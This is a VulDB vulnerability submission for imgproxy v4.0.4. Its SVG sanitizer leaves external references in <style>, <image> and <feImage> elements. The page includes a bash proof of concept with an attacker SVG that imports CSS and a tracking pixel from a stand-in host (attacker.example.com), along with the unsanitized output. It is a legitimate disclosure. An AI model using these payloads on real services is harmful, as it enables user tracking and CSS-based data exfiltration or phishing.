Soumettre #992216: https://github.com/imgproxy/ imgproxy v4.0.4 Improper Neutralization of Input During Web Page Generation (XSSinformation

Titrehttps://github.com/imgproxy/ imgproxy v4.0.4 Improper Neutralization of Input During Web Page Generation (XSS
DescriptionSVG sanitizer does not strip external resource references in <style>, <image>, and <feImage> elements ### Summary imgproxy's built-in SVG sanitizer (enabled by default via `IMGPROXY_SANITIZE_SVG=true`) removes `<script>`, `<iframe>`, and `on*` event-handler attributes but does not sanitize `<style>` tag content, `<image>` elements, or `<feImage>` filter elements. When imgproxy serves the "sanitized" SVG with `Content-Type: image/svg+xml` and `Content-Disposition: inline`, a browser that opens the URL will load the external resources referenced by those unstripped elements, enabling attacker-controlled CSS injection (via CSS `@import` / `url()`) and pixel-tracking. ### Details The SVG sanitizer is implemented in `processing/svg/svg.go`. The `sanitizeElement` function only blocks specific tag names and attribute prefixes: ```go // Strip <script> and <iframe> tags if tagName == "script" || tagName == "iframe" { return false } // Filter out unsafe attributes (such as on* events) el.Attrs.Filter(func(attr *xmlparser.Attribute) bool { _, unsafe := unsafeAttrs[attr.Name.Local()] return !unsafe }) ``` No rule strips or sanitizes: - The content of `<style>` elements, which may contain `@import url(https://attacker/)` or `background: url(...)` CSS properties - `<image href="...">` SVG image elements pointing to arbitrary external URLs - `<feImage href="...">` inside SVG `<filter>` elements The server does set `Content-Security-Policy: script-src 'none'` on all responses (in `server/responsewriter/writer.go`), which blocks JavaScript execution (including `javascript:` URI navigation). However, `script-src 'none'` does not restrict CSS loading (`style-src` is absent) or image/resource loading (`img-src`, `default-src` are absent). External network requests from the above elements are therefore unrestricted. imgproxy serves sanitized SVGs with `Content-Disposition: inline` by default (operator must opt in to `attachment` disposition via the `return_attachment` processing option). When a browser user navigates directly to an imgproxy URL that serves the sanitized SVG, the following occurs: 1. CSS `@import` triggers a GET to the attacker-controlled URL, potentially loading arbitrary CSS that can run CSS-based exfiltration attacks (CSS selector injection against co-rendered page content) or appear as visual phishing. 2. CSS `url()` in property values triggers resource-loading GET requests that leak the user's IP address and browser fingerprint to the attacker. 3. `<image href="...">` elements load their `href` target, again leaking the user's IP to an arbitrary server. ### PoC Prerequisites: - imgproxy running with default `IMGPROXY_SANITIZE_SVG=true` (which is the default), no HMAC key configured (or a signed URL) - Attacker controls the source SVG served at `http://victim-app.example/uploads/attacker.svg` - Victim navigates directly to the imgproxy URL in their browser (e.g., `https://imgproxy.victim.com/insecure/<base64>.svg`) ```bash # Step 1: Attacker's SVG (already stored at a location imgproxy will fetch from) cat > /tmp/attacker.svg <<'SVGEOF' <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <style> @import url("https://attacker.example.com/steal.css"); .track { background: url("https://attacker.example.com/pixel?victim=1") } </style> <image href="https://attacker.example.com/track.gif" width="1" height="1"/> <rect class="track" width="200" height="200" fill="blue"/> </svg> SVGEOF # Step 2: Serve the SVG locally and request it via imgproxy python3 -m http.server 9090 --directory /tmp & docker run -d --name imgproxy_vuln_test --network=host \ -e IMGPROXY_SANITIZE_SVG=true \ -e IMGPROXY_ALLOW_LOOPBACK_SOURCE_ADDRESSES=true \ darthsim/imgproxy:latest sleep 5 && curl -s http://localhost:8080/health # Step 3: Request the "sanitized" SVG from imgproxy ENCODED=$(python3 -c "import base64; print(base64.urlsafe_b64encode(b'http://localhost:9090/attacker.svg').rstrip(b'=').decode())") curl -s "http://localhost:8080/insecure/${ENCODED}.svg" # Output (actual observed response from imgproxy v4.0.4): # <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> # <style> # @import url("https://attacker.example.com/steal.css"); # .track { background: url("https://attacker.example.com/pixel?victim=1") } # </style> # <image href="https://attacker.example.com/track.gif" width="1" height="1"/> # <rect class="track" width="200" height="200" fill="blue"/> # </svg> # # Response headers include: # Content-Security-Policy: script-src 'none' # Content-Type: image/svg+xml # Content-Disposition: inline; filename="attacker.svg" # # The external URLs are NOT removed. When this URL is opened in a browser, # the browser performs GET requests to attacker.example.com for the CSS and image. ``` ### Impact When imgproxy is used to sanitize user-supplied SVG files and those sanitized SVGs are served inline to browser clients, an attacker who controls the source SVG can: 1. Load attacker-controlled CSS via `<style>@import url(https://evil/steal.css)</style>`, enabling CSS-based exfiltration attacks or visual phishing on the imgproxy domain. 2. Issue GET requests to arbitrary external servers via `<image href="...">` and CSS `url()`, leaking the viewing user's IP address, browser fingerprint, and the fact that they viewed the file. The vulnerability is mitigated in contexts where SVGs are embedded in HTML via `<img>` tags (browsers block external requests from SVG loaded as an image) or when the `return_attachment` processing option is used (prevents browser rendering). It is relevant when operators rely on imgproxy's sanitizer to make SVGs safe for direct-URL delivery to end users.
La source⚠️ https://github.com/imgproxy/imgproxy/issues/1708
Utilisateur
 geochen (UID 78995)
Soumission19/09/2026 16:19 (il y a 17 jours)
Modérer05/10/2026 20:34 (16 days later)
StatutAccepté
Entrée VulDB413711 [imgproxy jusqu’à 4.0.17 SVG processing/svg/svg.go sanitizeElement cross site scripting]
Points20

Do you need the next level of professionalism?

Upgrade your account now!